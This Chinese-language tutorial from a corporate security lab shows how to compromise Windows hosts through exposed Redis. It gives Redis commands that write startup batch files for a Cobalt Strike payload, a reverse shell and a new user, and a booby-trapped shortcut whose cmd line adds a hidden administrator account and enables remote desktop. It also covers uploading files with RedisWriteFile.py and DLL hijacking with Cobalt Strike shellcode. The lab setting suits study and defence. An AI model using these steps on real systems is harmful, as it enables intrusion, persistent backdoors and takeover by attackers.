redis安全攻防-windows
Redis-windows如何利用
@人保集团网络安全攻防实验室
Windows写启动项
由于Windows环境对Redis的getshell并不友好,很多操作并不是直接getshell,可能需要利用Redis写入二进制文件、快捷方式等。
启动项写在下面2个目录中的哪个都行
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp写入文件
写入CS的web_deliver,再写入一个反弹shell的powshell,再写入一个新增用户的bat
config set dir "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp"
config set dbfilename cs.bat
set x "\r\n\r\npowershell.exe xxxxx\"\r\n\r\n"
save
config set dbfilename reverse.bat
set x "\r\n\r\nxxxxxxx\r\n\r\n"
config set dbfilename add_user.bat
set x "\r\n\r\xxxxxx\r\n\r\n"
save
阅读写入的文件
查看脚本全部写入。
执行结果
手动重启靶机后,CS上线成功,添加用户成功。


- 首先在目标桌面创建notepad++的快捷方式

- 把notepad++的快捷方式修改一下,发现修改后文件图标发生变化。
C:\Windows\System32\cmd.exe /c calc & "C:\Program Files\Notepad++\notepad++.exe"
- 开始覆盖
篡改过的快捷方式放到kali里面。

- 效果演示

- 直接创建一个快捷方式


快捷方式覆盖
恶意CMD演示
- 执行恶意cmd命令,创建账号,打开远程桌面
对1.txt创建快捷方式,修改快捷方式名,修改图标,填写恶意目标内容
C:\Windows\System32\cmd.exe /c net user x p@ssword /add&net localgroup Administrators x /add & REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
- 上传恶意快捷方式
proxychains -q python RedisWriteFile.py --rhost=127.0.0.1 --rport=6379 --lhost=192.168.10.130 --lport=4455 --rpath="C:/Users/Administrator/Desktop" --rfile="iexplore.exe.lnk" --lfile="iexplore.exe.lnk"
- 手动触发,符合预期效果。

Windows DLL劫持
出网:Cobalt Strike
介绍通过Cobalt Strike生成恶意的C语言文件,完成攻击
工具下载地址:https://github.com/P4r4d1se/dll_hijack
- 获取redis的安装路径
连接redis,执行info命令,通过config_file能看到路径

- 准备VScode
下载安装VS2022:https://visualstudio.microsoft.com/zh-hans/downloads
只用勾C++桌面开发:
打开生成目录里的sln文件,打开源文件dllmain.app,修改shellocde和劫持的地址:


- CS生成C语言的payload:

把dllmain.app里的payload替换,然后选Release x64,生成解决方案:

- 写入dll文件
使用RedisWriteFile写入文件。需要使用redis-dump-go
proxychains -q python RedisWriteFile.py --rhost=127.0.0.1 --rport=6379 --lhost=192.168.10.130 --rpath="C:/Users/Administrator/Desktop/Redis-x64-5.0.14.1" --rfile="dbghelp.dll" --lfile=dbghelp.dll
bgsave
此时cs马已上线。
